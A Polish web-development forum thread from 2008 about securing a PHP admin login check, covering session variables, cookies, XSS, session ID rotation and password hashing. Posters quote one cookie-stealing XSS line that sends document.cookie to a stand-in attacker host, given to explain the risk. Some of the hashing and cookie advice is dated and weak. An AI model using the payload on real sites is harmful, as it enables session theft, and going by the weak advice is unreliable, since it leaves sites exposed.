ďťż
Podstrony
|
telcocafewitam, dochodzę do wniosku że takie rozwiązanie:function isAdminLogged() { if(isset($_SESSION['admin']) && $_SESSION['admin'] == true) return true; return false; } nie jest dobrym (bezpiecznym) rozwiązaniem. Czy ktoś ma jakieś propozycje? Napisać system logowania i autoryzacji z prawdziwego zdarzenia ;) no dobra, ale tak wogóle to opłaca się tak sprawdzać czy jest się zalogowanym? :) Tak. Wymagaj autoryzacji do panelu admina (choćby wbudowanej w protokół HTTP) nawet wtedy, gdy jesteś zalogowany. Operacje typu "usuń", "edytuj" czy "dodaj" wywołuj zawsze metodą POST. Dla bezpieczeństwa. Jeśli nie zabezpieczysz gdzieś danych wysyłanych przez użytkowników, mogą wkleić kod HTML, a wtedy nawet to nie pomoże (w Javascript łatwo wykraść Cookie lub zbudować formularz za pomocą DOM). dobra, a jeszcze jedno pytanie - czy opłaca sie robić token do formularza logowania? czy to też pomoże? Jeśli nie zabezpieczysz gdzieś danych wysyłanych przez użytkowników, mogą wkleić kod HTML, a wtedy nawet to nie pomoże (w Javascript łatwo wykraść Cookie lub zbudować formularz za pomocą DOM). Jeśli ciasteczka się szyfruje, a znaki specjalne takie < czy > zamienia na odpowiednie kody, więc nie ma możliwości wstrzyknięcia swojego kodu. dobra, a jeszcze jedno pytanie - czy opłaca sie robić token do formularza logowania? czy to też pomoże? Token raczej nie wpływa na bezpieczeństwo, blokuje tylko powtarzanie takich samych czynności. Wielokrotne logowanie na pewno nie zaszkodzi stronie tak jak dodawanie komentarzy czy intensywane wyszukiwanie. Do wyszukiwania możesz znowu stosować ograniczenie czasowe (każdy user może uruchamiać wyszukiwanie nie częściej niż co 15 sekund). Token przy logowaniu tylko denerwuje użytkowników :) Użytkownik Kozack edytował ten post 11 lipiec 2008, 18:52 Wspomnieliscie o szyfrowaniu ciasteczek. Czym je zaszyfrowac by moc je odszyfrowac. Czy takie dzialanie na pewno ma sens przy ciasteczkach sesji? Kozack ! Rozważ taki kod wstrzyknięty przez niezabezpieczone pole formularza:location='http://strona.hakera.eu/ukradnij.php?cookies='+document.cookie Możesz szyfrować cookies, ale co to Ci da? NIC! Złodziej ukradnie cookies (w tym ID sesji, MD5 hasła, inne dane). Rozważ taki kod wstrzyknięty przez niezabezpieczone pole formularza:location='http://strona.hakera.eu/ukradnij.php?cookies='+document.cookie i co ci taki kod w formularzu da? bo obecnie on NIC nie robi. Możesz szyfrować cookies, ale co to Ci da? NIC! Złodziej ukradnie cookies (w tym ID sesji, MD5 hasła, inne dane). 1. jak masz w tym ID sesji - to po co trzymac hash hasla? a nie lepiej w sesji? 2. co kilka odswiezen strony generowac nowy ID sesji. Powiedzmy, ze gdy uzytkownik jest zalogowany to w zmiennej sesji jest jego identyfikator i sol. Czy jest sens w tym wypadku szyfrowac ta zmienna sesji? a może jakieś przykłady 'live'? ;P Kodu nie napisze, bo korzystam z internetu w telefonie. User sie loguje, przypisujemy do zmiennej sesji jego id+sol lub nawet bez soli i potem orzekamy czy user jest zalogowany na podstawie tej zmiennej sesji. Możesz szyfrować cookies, ale co to Ci da? NIC! Złodziej ukradnie cookies (w tym ID sesji, MD5 hasła, inne dane). Po pierwsze: nie ma metody, której nie da się jakoś obejść lub złamać. Po drugie: zabezpieczenia stosuje się po to, aby koszt ich łamania przewyższał wartość danych, które można uzyskać po dokonaniu włamania. Jeśli zaszyfrujesz dane w ciastkach, to ktoś po ich przejęciu odczyta bzdury. Jeśli zapiszesz ciastko o nazwie "pass_hash", to jego zawartość jest oczywista, ale jeśli ciastko nazwiesz "ABCDEF", to skąd osoba trzecia wie, że to oznacza hash? Użytkownik Kozack edytował ten post 19 lipiec 2008, 23:28 Jeśli zaszyfrujesz dane w ciastkach, to ktoś po ich przejęciu odczyta bzdury. Jeśli zapiszesz ciastko o nazwie "pass_hash", to jego zawartość jest oczywista, ale jeśli ciastko nazwiesz "ABCDEF", to skąd osoba trzecia wie, że to oznacza hash? Z hasha i tak raczej nic ciekawego nie wyczyta :) Kiedyś pisałem skrypt logowania na własny użytek i zastosowałem tam coś takiego, że w cookies zapisywałem ID sesji, a w bazie do każdej sesji przypisywałem id użytkownika, IP i przeglądarkę. Dodatkowo tak jak ktoś wspominał, co kilka stron(oraz dodatkowo po przejściu na inną stronę po 15 minutach nieaktywności) zmieniało się id sesji. Jeżeli coś się nie zgadzało to po prostu przekierowanie do logowania. Takim sposobem nawet przechwycenie cookies nie dawało zbyt wiele. Wyczyta. Istnieją programy łamiące hashe. Nie są 100% skuteczne, ale zawsze jest szansa, że całe lub część hasła zostanie ujawniona. Wyczyta. Istnieją programy łamiące hashe. Nie są 100% skuteczne, ale zawsze jest szansa, że całe lub część hasła zostanie ujawniona. Istnieją owszem, np. tablice tęczowe. Ale przy odpowiedniej długości trudnym haśle nawet brute-force niewiele zdziała w opłacalnym czasie. A co od fragmentu hasła, to nie ma takiej opcji - hash ciągu "abc' jest całkowicie różny od "abcd". Są wyszukiwarki hashy, ale widziałem tylko takie do md5. Jeśli hash powstanie przez sha1(md5(TajneHa$lo)); to raczej możliwości odczytania go z hasha jest minimalna. |
|||
Sitedesign by AltusUmbrae. |